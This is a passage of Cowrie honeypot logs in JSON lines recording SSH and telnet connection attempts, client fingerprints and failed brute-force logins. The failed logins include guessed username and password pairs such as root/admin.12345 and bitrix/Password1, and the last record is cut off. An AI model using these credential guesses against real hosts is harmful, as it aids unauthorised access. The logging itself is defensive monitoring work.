{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:81:54:15:23:09:fa:4b:fb:3a:5b:93:5e:9e:d8:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArIRNRw5mpe7nRw0NiMTdE7ppSZTntbSaj++91uxLO8kNDj0DBt3twUd9v89LYY7HRQQq+lJYMrkEkRt2MZdDi6dV5vdSEDDOyuqo2aXTZPBud3IefyU4PpQSnBZOwCjXyzSPTHY/rmY25IjAfxkVo676E2wX4j2VRTPY0SyfwYYw38t75Y7qfAycuAm6rAdKSsQ2sxi/74vLmy7hxy+sDRcHLorurgHrdHW7XoIDehidp4GSb+Fugs/40HmUIEj+heQClaQMX45ghbfjiUi0eUeGLbsUGh6Xd2IIeMPH4ig62LOjN/7SYYfphtmU47SapQleKo5zjuR/PjZgy024jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:81:54:15:23:09:fa:4b:fb:3a:5b:93:5e:9e:d8:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.897411Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:81:54:15:23:09:fa:4b:fb:3a:5b:93:5e:9e:d8:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArIRNRw5mpe7nRw0NiMTdE7ppSZTntbSaj++91uxLO8kNDj0DBt3twUd9v89LYY7HRQQq+lJYMrkEkRt2MZdDi6dV5vdSEDDOyuqo2aXTZPBud3IefyU4PpQSnBZOwCjXyzSPTHY/rmY25IjAfxkVo676E2wX4j2VRTPY0SyfwYYw38t75Y7qfAycuAm6rAdKSsQ2sxi/74vLmy7hxy+sDRcHLorurgHrdHW7XoIDehidp4GSb+Fugs/40HmUIEj+heQClaQMX45ghbfjiUi0eUeGLbsUGh6Xd2IIeMPH4ig62LOjN/7SYYfphtmU47SapQleKo5zjuR/PjZgy024jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.902542Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.910813Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":51318,"dst_ip":"10.17.0.5","dst_port":22,"session":"1338a80b5d66","protocol":"ssh","message":"New connection: 14.103.114.231:51318 (10.17.0.5:22) [session: 1338a80b5d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:56.204754Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":50482,"dst_ip":"10.17.0.5","dst_port":22,"session":"e12c58bae91a","protocol":"ssh","message":"New connection: 154.81.14.172:50482 (10.17.0.5:22) [session: e12c58bae91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:14.802411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:14.808259Z","src_ip":"154.81.14.172","session":"e12c58bae91a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:15.860661Z","src_ip":"154.81.14.172","session":"e12c58bae91a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newftpuser","password":"123456","message":"login attempt [newftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:16.497550Z","src_ip":"154.81.14.172","session":"e12c58bae91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:17.712708Z","src_ip":"154.81.14.172","session":"e12c58bae91a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:38.511232Z","src_ip":"14.103.114.231","session":"1338a80b5d66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:38.515333Z","src_ip":"14.103.114.231","session":"1338a80b5d66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.3","message":"Connection lost after 42.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:29:38.521580Z","src_ip":"14.103.114.231","session":"1338a80b5d66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":59924,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1a7ffde1f90","protocol":"ssh","message":"New connection: 187.212.47.18:59924 (10.17.0.5:22) [session: b1a7ffde1f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:30:04.629150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:30:04.634013Z","src_ip":"187.212.47.18","session":"b1a7ffde1f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:30:04.904233Z","src_ip":"187.212.47.18","session":"b1a7ffde1f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.12345","message":"login attempt [root/admin.12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:30:05.254252Z","src_ip":"187.212.47.18","session":"b1a7ffde1f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:30:06.335329Z","src_ip":"187.212.47.18","session":"b1a7ffde1f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":38922,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfc6dbf3be10","protocol":"ssh","message":"New connection: 154.81.14.172:38922 (10.17.0.5:22) [session: cfc6dbf3be10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:30:45.218759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:30:45.223385Z","src_ip":"154.81.14.172","session":"cfc6dbf3be10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:01.288372Z","src_ip":"154.81.14.172","session":"cfc6dbf3be10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:01.294581Z","src_ip":"154.81.14.172","session":"cfc6dbf3be10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":59616,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ec8e28aca57","protocol":"ssh","message":"New connection: 201.6.100.191:59616 (159.203.135.109:22) [session: 1ec8e28aca57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:15.341402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:15.350276Z","src_ip":"201.6.100.191","session":"1ec8e28aca57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:15.483011Z","src_ip":"201.6.100.191","session":"1ec8e28aca57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2019","message":"login attempt [developer/developer2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:16.020835Z","src_ip":"201.6.100.191","session":"1ec8e28aca57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:17.150645Z","src_ip":"201.6.100.191","session":"1ec8e28aca57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.164.167.244","src_port":60800,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed6bb3ca2b11","protocol":"telnet","message":"New connection: 181.164.167.244:60800 (159.203.135.109:23) [session: ed6bb3ca2b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:28.372169Z"}
{"eventid":"cowrie.session.closed","duration":12.801950931549072,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:31:41.173995Z","src_ip":"181.164.167.244","session":"ed6bb3ca2b11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":55594,"dst_ip":"10.17.0.5","dst_port":22,"session":"641c966b54e7","protocol":"ssh","message":"New connection: 154.81.14.172:55594 (10.17.0.5:22) [session: 641c966b54e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:14.665670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:14.671113Z","src_ip":"154.81.14.172","session":"641c966b54e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":55092,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd933147f7d1","protocol":"telnet","message":"New connection: 166.62.124.255:55092 (10.17.0.5:23) [session: fd933147f7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:21.899846Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":38812,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe51a9267b9","protocol":"ssh","message":"New connection: 103.125.103.201:38812 (10.17.0.5:22) [session: cbe51a9267b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:27.308664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:27.313589Z","src_ip":"103.125.103.201","session":"cbe51a9267b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:27.562813Z","src_ip":"103.125.103.201","session":"cbe51a9267b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"Password1","message":"login attempt [bitrix/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:28.551032Z","src_ip":"103.125.103.201","session":"cbe51a9267b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:29.794206Z","src_ip":"103.125.103.201","session":"cbe51a9267b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:30.636014Z","src_ip":"154.81.14.172","session":"641c966b54e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:30.644845Z","src_ip":"154.81.14.172","session":"641c966b54e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.359352588653564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:52.259061Z","src_ip":"166.62.124.255","session":"fd933147f7d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":42652,"dst_ip":"159.203.135.109","dst_port":22,"session":"218b845a87aa","protocol":"ssh","message":"New connection: 43.173.69.147:42652 (159.203.135.109:22) [session: 218b845a87aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:55.129474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:32:55.134557Z","src_ip":"43.173.69.147","session":"218b845a87aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2